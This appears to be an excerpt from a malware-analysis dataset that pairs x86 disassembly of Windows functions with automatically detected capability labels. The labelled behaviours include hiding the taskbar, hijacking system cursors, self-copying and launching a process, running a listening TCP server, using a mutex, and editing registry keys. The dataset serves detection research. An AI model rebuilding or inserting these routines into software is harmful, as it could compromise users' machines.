joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408a4c
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov byte [ebp - 1], 0
xor eax, eax
push ebp
push 0x408af3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, 0x408b0c
call fcn.0040894c
call fcn.004088cc
mov dword [0x412bbc], eax
push 0x408b30
call sub.KERNEL32.DLL_LoadLibraryW
mov ebx, eax
push 0x408b4c
call sub.KERNEL32.DLL_LoadLibraryW
mov dword [0x412bd0], eax
test ebx, ebx
je 0x408ae9
push 0x408b60
push ebx
call fcn.00407140
mov dword [0x412bc0], eax
push 0x408b90
push ebx
call fcn.00407140
mov dword [0x412bc4], eax
push 0x408bc0
push ebx
call fcn.00407140
mov dword [0x412bc8], eax
push 0x408bec
mov eax, dword [0x412bd0]
push eax
call fcn.00407140
mov dword [0x412bcc], eax
push ebx
call sub.KERNEL32.DLL_FreeLibrary_2
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x408afd
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x409350
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov edi, eax
lea eax, [ebp - 4]
call fcn.00404fc4
xor eax, eax
push ebp
push 0x409468
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov edx, dword [ebp - 4]
mov ax, 0x5c
call fcn.004092e4
mov esi, eax
test esi, esi
jle 0x40944d
lea eax, [ebp - 8]
push eax
mov ecx, esi
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405640
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00405524
push eax
push edi
call sub.advapi32.dll_RegCreateKeyExW
test eax, eax
jne 0x40944d
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4093e0
sub ebx, 4
mov eax, dword [ebx]
shr eax, 1
mov ebx, eax
lea eax, [ebp - 8]
push eax
mov ecx, ebx
sub ecx, esi
lea edx, [esi + 1]
mov eax, dword [ebp - 4]
call fcn.00405640
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00405638
jne 0x40941f
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExW
test eax, eax
sete bl
jmp 0x409444
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00405524
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegSetValueExW
test eax, eax
sete bl
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40946f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404f90
ret
Function at 0x409644
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebx
push esi
test al, al
je 0x409680
push 0
push 0x4096b0
push 0
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_FindWindowExW
mov ebx, eax
push 0
push 0x4096c0
call sub.user32.dll_FindWindowW
mov esi, eax
push 1
push ebx
call sub.user32.dll_ShowWindow
push esi
push ebx
call sub.user32.dll_SetParent
pop esi
pop ebx
ret
push 0
push 0x4096b0
push 0
push 0
push 0x4096c0
call sub.user32.dll_FindWindowW
push eax
call sub.user32.dll_FindWindowExW
mov ebx, eax
push 0
push ebx
call sub.user32.dll_ShowWindow
push 0
push ebx
call sub.user32.dll_SetParent
pop esi
pop ebx
ret

Function at 0x409660
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebx
push esi
test al, al
je 0x409680
push 0
push 0x4096b0
push 0
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_FindWindowExW
mov ebx, eax
push 0
push 0x4096c0
call sub.user32.dll_FindWindowW
mov esi, eax
push 1
push ebx
call sub.user32.dll_ShowWindow
push esi
push ebx
call sub.user32.dll_SetParent
pop esi
pop ebx
ret
push 0
push 0x4096b0
push 0
push 0
push 0x4096c0
call sub.user32.dll_FindWindowW
push eax
call sub.user32.dll_FindWindowExW
mov ebx, eax
push 0
push ebx
call sub.user32.dll_ShowWindow
push 0
push ebx
call sub.user32.dll_SetParent
pop esi
pop ebx
ret

Function at 0x409689
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebx
push esi
test al, al
je 0x409680
push 0
push 0x4096b0
push 0
call sub.user32.dll_GetDesktopWindow
push eax
call sub.user32.dll_FindWindowExW
mov ebx, eax
push 0
push 0x4096c0
call sub.user32.dll_FindWindowW
mov esi, eax
push 1
push ebx
call sub.user32.dll_ShowWindow
push esi
push ebx
call sub.user32.dll_SetParent
pop esi
pop ebx
ret
push 0
push 0x4096b0
push 0
push 0
push 0x4096c0
call sub.user32.dll_FindWindowW
push eax
call sub.user32.dll_FindWindowExW
mov ebx, eax
push 0
push ebx
call sub.user32.dll_ShowWindow
push 0
push ebx
call sub.user32.dll_SetParent
pop esi
pop ebx
ret

Function at 0x4096f4
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebx
push ecx
push 0
push 0x80
push 2
push 0
push 3
push 0x40000000
push 0x409760
call sub.KERNEL32.DLL_CreateFileW
mov ebx, eax
push 0
lea eax, [esp + 4]
push eax
push 0x146
push 0x40f884
push ebx
call sub.KERNEL32.DLL_WriteFile_1
push ebx
call sub.KERNEL32.DLL_CloseHandle_1
mov ebx, 0x7f00
push ebx
push 0x409760
call sub.user32.dll_LoadCursorFromFileW
push eax
call sub.user32.dll_SetSystemCursor
inc ebx
cmp ebx, 0x7f8b
jne 0x409736
push 0x409760
call sub.KERNEL32.DLL_DeleteFileW
pop edx
pop ebx
ret
Function at 0x409b48
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fb4
xor eax, eax
push ebp
push 0x409bd0
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.KERNEL32.DLL_SetErrorMode
mov esi, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x409b7e
sub eax, 4
mov eax, dword [eax]
dec eax
jne 0x409b8e
lea eax, [ebp - 4]
mov edx, 0x409bec
call fcn.00405814
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_GetVolumeInformationW
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.KERNEL32.DLL_SetErrorMode
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409bd7
lea eax, [ebp - 4]
call fcn.00404ed0
ret

Function at 0x409bf4
Capabilities:
Copy file
Create directory
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x409bfc
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fb4
mov eax, dword [ebp - 8]
call fcn.00404fb4
xor eax, eax
push ebp
push 0x409d5e
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0x14]
mov ecx, 0x409d78
mov edx, dword [ebp - 4]
call fcn.0040586c
mov eax, dword [ebp - 0x14]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_CreateDirectoryW
push 2
lea eax, [ebp - 0x18]
mov ecx, 0x409d9c
mov edx, dword [ebp - 4]
call fcn.0040586c
mov eax, dword [ebp - 0x18]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
push 0
push dword [ebp - 4]
push 0x409dc0
push dword [ebp - 8]
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.004058f4
mov eax, dword [ebp - 0x1c]
call fcn.004056e8
push eax
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.00403a90
mov eax, dword [ebp - 0x20]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_CopyFileW
push 6
push dword [ebp - 4]
push 0x409de8
push dword [ebp - 8]
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.004058f4
mov eax, dword [ebp - 0x24]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, 0x409e10
call fcn.0040586c
push 0
push 6
push 2
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x28]
mov ecx, 0x409e58
mov edx, dword [ebp - 4]
call fcn.0040586c
mov eax, dword [ebp - 0x28]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_CreateFileW
mov ebx, eax
lea eax, [ebp - 0xc]
call fcn.00405318
mov edx, eax
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x409d20
sub eax, 4
mov eax, dword [eax]
push 0
lea ecx, [ebp - 0x10]
push ecx
add eax, eax
push eax
push edx
push ebx
call sub.KERNEL32.DLL_WriteFile_1
push ebx
call sub.KERNEL32.DLL_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409d65
lea eax, [ebp - 0x28]
mov edx, 6
call fcn.00404f30
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404f30
ret
Function at 0x40a014
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffbec
mov ebx, eax
push esp
push 0x104
call sub.KERNEL32.DLL_GetTempPathW
push 0x104
lea eax, [esp + 0x20e]
push eax
lea eax, [esp + 8]
push eax
call sub.KERNEL32.DLL_GetLongPathNameW
mov eax, ebx
lea edx, [esp + 0x20a]
mov ecx, 0x105
call fcn.0040573c
add esp, 0x414
pop ebx
ret

Function at 0x40a154
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fb4
xor eax, eax
push ebp
push 0x40a23d
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40a24c
call sub.KERNEL32.DLL_LoadLibraryW
mov ebx, eax
push 0x40a264
push ebx
call fcn.00407140
mov esi, eax
lea eax, [ebp - 8]
mov edx, 0x104
call fcn.00405794
mov dword [ebp - 0xc], 0x104
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x216]
push eax
call sub.advapi32.dll_GetUserNameW
lea eax, [ebp - 8]
lea edx, [ebp - 0x216]
mov ecx, 0x105
call fcn.0040573c
push 0
push 0
push 0x40a28c
push dword [ebp - 8]
push 0x40a2a4
push dword [ebp - 4]
lea eax, [ebp - 0x21c]
mov edx, 4
call fcn.004058f4
mov eax, dword [ebp - 0x21c]
call fcn.004056e8
push eax
push 0x40a2a8
push 0x40a2b8
push 0
call esi
push ebx
call sub.KERNEL32.DLL_FreeLibrary_2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a244
lea eax, [ebp - 0x21c]
call fcn.00404ed0
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404f30
ret

Function at 0x40a59c
Capabilities:
Create tcp socket
Create udp socket
Get socket status
Initialize winsock library
Start tcp server

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffd54
xor ebx, ebx
lea eax, [esp + 4]
push eax
push 0x20
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x40a6e0
push 0
push 0
push 0
push 6
push 1
push 2
call sub.ws2_32.dll_WSASocketW
mov esi, eax
cmp esi, 0xffffffff
je 0x40a6e0
lea eax, [esp + 0x298]
xor ecx, ecx
mov edx, 0x10
call fcn.00403b90
mov word [esp + 0x298], 2
movzx eax, word [0x412c50]
push eax
call sub.wsock32.dll_htons
mov word [esp + 0x29a], ax
push 0
call sub.wsock32.dll_htonl
mov dword [esp + 0x2a8], eax
mov eax, dword [esp + 0x2a8]
mov dword [esp + 0x29c], eax
push 0x10
lea eax, [esp + 0x29c]
push eax
push esi
call sub.wsock32.dll_bind
inc eax
je 0x40a6e0
push 5
push esi
call sub.wsock32.dll_listen
inc eax
je 0x40a6e0
jmp 0x40a6d3
lea eax, [esp + 0x194]
call fcn.00407400
lea edx, [esp + 0x194]
mov eax, esi
call fcn.004073f0
push 0
push 0
push 0
lea eax, [esp + 0x1a0]
push eax
push 0
call sub.wsock32.dll_select
inc eax
je 0x40a6db
test bl, bl
jne 0x40a6db
lea edx, [esp + 0x194]
mov eax, esi
call fcn.004073d8
test al, al
je 0x40a6cc
mov eax, 4
call fcn.0040379c
mov edi, eax
push 0
push 0
push esi
call sub.wsock32.dll_accept
mov ebp, eax
mov dword [edi], ebp
inc ebp
je 0x40a6db
push edi
push 0
lea eax, [esp + 8]
push eax
mov ecx, 0x40a4d8
xor edx, edx
xor eax, eax
call fcn.00404dac
push 0xf
call sub.KERNEL32.DLL_Sleep_1
test bl, bl
je 0x40a651
call sub.wsock32.dll_WSACleanup
add esp, 0x2ac
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40b970
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x40b9f3
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 3
push 0
push 3
push 0x80000000
lea edx, [ebp - 4]
xor eax, eax
call fcn.00403a90
mov eax, dword [ebp - 4]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_CreateFileW
mov ebx, eax
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
mov edx, eax
sub edx, 0x958
xor ecx, ecx
mov eax, ebx
call fcn.0040b938
mov edx, esi
mov ecx, 0x958
mov eax, ebx
call fcn.0040b944
push ebx
call sub.KERNEL32.DLL_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b9fa
lea eax, [ebp - 4]
call fcn.00404ed0
ret

Function at 0x40ba28
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fb4
xor eax, eax
push ebp
push 0x40bb6a
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x20
push 3
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_CreateFileW
mov esi, eax
cmp esi, 0xffffffff
je 0x40bb40
sub bl, 1
jb 0x40ba84
je 0x40bae3
jmp 0x40bb40
push 0
push 0
push 0x69eb
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0x10a8
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x40ba00]
call fcn.004061b4
add esp, 4
mov edx, dword [ebp - 8]
mov eax, edx
test eax, eax
je 0x40babc
sub eax, 4
mov eax, dword [eax]
xor ecx, ecx
xchg edx, eax
call fcn.00403b90
mov eax, dword [ebp - 8]
test eax, eax
je 0x40bad0
sub eax, 4
mov eax, dword [eax]
push 0
lea edx, [ebp - 0xc]
push edx
push eax
mov eax, dword [ebp - 8]
push eax
push esi
call sub.KERNEL32.DLL_WriteFile_1
jmp 0x40bb40
push 0
push 0
push 0x95eb
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0x10a8
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x40ba00]
call fcn.004061b4
add esp, 4
mov edx, dword [ebp - 8]
mov eax, edx
test eax, eax
je 0x40bb1b
sub eax, 4
mov eax, dword [eax]
xor ecx, ecx
xchg edx, eax
call fcn.00403b90
mov eax, dword [ebp - 8]
test eax, eax
je 0x40bb2f
sub eax, 4
mov eax, dword [eax]
push 0
lea edx, [ebp - 0xc]
push edx
push eax
mov eax, dword [ebp - 8]
push eax
push esi
call sub.KERNEL32.DLL_WriteFile_1
push esi
call sub.KERNEL32.DLL_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bb71
lea eax, [ebp - 8]
mov edx, dword [0x40ba00]
call fcn.004062d8
lea eax, [ebp - 4]
call fcn.00404ed0
ret
Function at 0x40bb78
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x13
push 0
push 0
dec ecx
jne 0x40bb80
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404fb4
xor eax, eax
push ebp
push 0x40bd86
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x412c04
mov edx, dword [ebp - 4]
call fcn.004051fc
lea edx, [ebp - 0x64]
xor eax, eax
call fcn.00403a90
mov eax, dword [ebp - 0x64]
lea edx, [ebp - 0x60]
call fcn.00409f5c
mov eax, dword [ebp - 0x60]
lea edx, [ebp - 0x5c]
call fcn.0040887c
mov eax, dword [ebp - 0x5c]
push eax
lea edx, [ebp - 0x68]
mov eax, dword [ebp - 4]
call fcn.0040887c
mov edx, dword [ebp - 0x68]
pop eax
call fcn.004059a4
je 0x40bd60
push 0
lea eax, [ebp - 0x6c]
call fcn.0040a014
lea eax, [ebp - 0x6c]
mov edx, dword [ebp - 4]
call fcn.00405814
mov eax, dword [ebp - 0x6c]
call fcn.004056e8
push eax
lea edx, [ebp - 0x70]
xor eax, eax
call fcn.00403a90
mov eax, dword [ebp - 0x70]
call fcn.004056e8
push eax
call sub.KERNEL32.DLL_CopyFileW
movzx eax, byte [0x412c64]
sub al, 1
jb 0x40bc33
je 0x40bc52
jmp 0x40bc6f
lea eax, [ebp - 0x74]
call fcn.0040a014
lea eax, [ebp - 0x74]
mov edx, dword [ebp - 4]
call fcn.00405814
mov eax, dword [ebp - 0x74]
xor edx, edx
call fcn.0040ba28
jmp 0x40bc6f
lea eax, [ebp - 0x78]
call fcn.0040a014
lea eax, [ebp - 0x78]
mov edx, dword [ebp - 4]
call fcn.00405814
mov eax, dword [ebp - 0x78]
mov dl, 1
call fcn.0040ba28
test bl, bl
je 0x40bc9d
lea eax, [ebp - 0x80]
call fcn.0040a014
push dword [ebp - 0x80]
push dword [ebp - 4]
push 0x40bda0
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.004058f4
mov eax, dword [ebp - 0x7c]
call 0x408408
jmp 0x40bd03
lea eax, [ebp - 0x58]
xor ecx, ecx
mov edx, 0x44
call fcn.00403b90
mov dword [ebp - 0x58], 0x44
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x88]
call fcn.0040a014
push dword [ebp - 0x88]
push dword [ebp - 4]
push 0x40bdb0
lea eax, [ebp - 0x84]
mov edx, 3
call fcn.004058f4
mov eax, dword [ebp - 0x84]
call fcn.004056e8
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessW
lea edx, [ebp - 0x90]
xor eax, eax
call fcn.00403a90
mov eax, dword [ebp - 0x90]
lea edx, [ebp - 0x8c]
call fcn.0040887c
mov eax, dword [ebp - 0x8c]
push eax
lea eax, [ebp - 0x98]
call fcn.0040a014
mov eax, dword [ebp - 0x98]
lea edx, [ebp - 0x94]
call fcn.0040887c
mov eax, dword [ebp - 0x94]
mov ecx, 1
pop edx
call fcn.00405ad8
test eax, eax
jne 0x40bd60
xor eax, eax
call fcn.00404d4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40bd8d
lea eax, [ebp - 0x98]
mov edx, 0x10
call fcn.00404f30
lea eax, [ebp - 4]
call fcn.00404ed0
ret
Function at 0x40e0e4
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff68c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x974], eax
mov dword [ebp - 0x970], eax
mov dword [ebp - 0x96c], eax
mov eax, 0x40be0c
call fcn.004069ac
mov esi, 0x412c10
xor eax, eax
push ebp
push 0x40e2c7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40e2d8
push 0
push 1
call sub.KERNEL32.DLL_OpenMutexW
test eax, eax
jbe 0x40e13c
xor eax, eax
call fcn.00404d4c
jmp 0x40e14a
push 0x40e2d8
push 0
push 0
call fcn.004070a8
lea eax, [ebp - 0x968]
call fcn.0040b970
push esi
mov edi, esi
lea esi, [ebp - 0x968]
mov ecx, 0x256
rep movsd dword es:[edi], dword [esi]
pop esi
lea eax, [ebp - 0x96c]
lea edx, [esi + 0x855]
mov ecx, 0
call fcn.004053a4
lea eax, [ebp - 0x96c]
mov edx, 0x40e354
call fcn.004053b8
mov edx, dword [ebp - 0x96c]
mov eax, 0x412c04
call fcn.00405758
movzx edx, byte [esi + 0x2c]
mov eax, dword [0x412c04]
call fcn.0040bb78
cmp byte [esi + 0x44], 0
je 0x40e1f1
mov eax, dword [esi + 0x48]
mov dword [0x413568], eax
mov eax, dword [esi + 0x4c]
mov dword [0x41356c], eax
push 0x413570
push 0
push 0
push 0x40b91c
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
mov ebx, eax
jmp 0x40e1e2
call fcn.0040b8ec
push 1
push ebx
call sub.KERNEL32.DLL_WaitForSingleObject
cmp eax, 0x102
je 0x40e1dd
cmp byte [esi + 0x34], 0
je 0x40e213
lea eax, [ebp - 0x970]
lea edx, [esi + 0x655]
call fcn.00405788
mov eax, dword [ebp - 0x970]
call fcn.0040a2c4
mov eax, dword [esi + 0x50]
cmp eax, 0x100000
je 0x40e222
call fcn.0040a48c
call fcn.00408a4c
push 0x40e35c
call sub.KERNEL32.DLL_LoadLibraryW
mov dword [0x412bd0], eax
lea eax, [ebp - 0x974]
lea edx, [esi + 0x55]
call fcn.00405788
mov eax, dword [ebp - 0x974]
call fcn.0040a154
push 0x412bec
call sub.KERNEL32.DLL_InitializeCriticalSection_1
push 0x40e370
push 0x40e390
call sub.KERNEL32.DLL_LoadLibraryW
push eax
call fcn.00407140
mov dword [0x412be8], eax
push 0
mov ecx, 0x40a7f0
mov dl, 1
mov eax, dword [0x40853c]
call fcn.00408c8c
push 0
mov ecx, 0x409f48
mov dl, 1
mov eax, dword [0x40853c]
call fcn.00408c8c
call fcn.0040b684
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e2ce
lea eax, [ebp - 0x974]
mov edx, 2
call fcn.00404f30
lea eax, [ebp - 0x96c]
call fcn.00404ef4
ret
Function at 0x40a720
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
mov eax, dword [0x4b09fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
lea edx, [ebp - 0x3f4]
push edx
push 0x20019
push 0
push str.TypeLib
push SysReAllocString
mov dword [ebp - 0x3fc], eax
mov dword [ebp - 0x400], ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push SysReAllocString
mov esi, eax
call edi
test esi, esi
je 0x40a787
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046ef01
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x3f4]
lea eax, [ebp - 0x3f0]
push eax
push 0x20019
push 0
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edx, dword [ebp - 0x3f4]
push edx
mov esi, eax
call edi
test esi, esi
jne 0x40a775
mov edx, dword [ebp - 0x3f0]
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x3f8]
push eax
lea ecx, [ebp - 0x3ec]
push ecx
push esi
push edx
mov dword [ebp - 0x3f8], 0x3e8
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov esi, eax
mov eax, dword [ebp - 0x3f0]
push eax
call edi
test esi, esi
jne 0x40a775
mov ecx, dword [ebp - 0x400]
mov edx, dword [ebp - 0x3fc]
push ecx
push edx
lea eax, [ebp - 0x3ec]
push str._d._d
push eax
call fcn.0047193a
mov ecx, dword [ebp - 4]
add esp, 0x10
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.0046ef01
mov esp, ebp
pop ebp
ret
Function at 0x40a820
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2720
call fcn.00486530
mov eax, dword [0x4b09fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push 0x270f
mov esi, ecx
lea ecx, [ebp - 0x2713]
push 0
push ecx
mov ebx, edx
mov dword [ebp - 0x2720], eax
mov byte [ebp - 0x2715], 0
mov byte [ebp - 0x2714], 0
call fcn.00478790
mov eax, esi
add esp, 0xc
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a870
push edi
lea edi, [ebp - 0x2714]
sub eax, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a881
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
test ebx, ebx
je 0x40a8e6
lea edi, [ebp - 0x2714]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40a8a2
mov dx, word [0x49a0b0]
mov eax, ebx
mov word [edi], dx
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40a8b8
lea edi, [ebp - 0x2714]
sub eax, ecx
mov esi, ecx
dec edi
lea ebx, [ebx]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40a8d0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea eax, [ebp - 0x271c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea ecx, [ebp - 0x2714]
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
pop edi
test eax, eax
jne 0x40a98b
mov esi, dword [ebp - 0x2720]
test esi, esi
je 0x40a945
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a922
sub eax, edx
mov edx, dword [ebp - 0x271c]
inc eax
push eax
push esi
push 1
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40a966
mov eax, dword [ebp - 0x271c]
push eax
mov bl, 1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046ef01
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x271c]
mov bl, byte [ebp - 0x2715]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0046ef01
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x2715]
pop esi
xor ecx, ebp
pop ebx
call fcn.0046ef01
mov esp, ebp
pop ebp
ret

Function at 0x40a9b0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2714
call fcn.00486530
mov eax, dword [0x4b09fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x270f
lea eax, [ebp - 0x2713]
push 0
push eax
mov esi, ecx
mov byte [ebp - 0x2714], 0
call fcn.00478790
mov eax, esi
add esp, 0xc
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40a9f0
lea edi, [ebp - 0x2714]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x40aa00
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x2714]
push ecx
push SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ecx, dword [ebp - 4]
test eax, eax
sete al
pop edi
xor ecx, ebp
pop esi
call fcn.0046ef01
mov esp, ebp
pop ebp
ret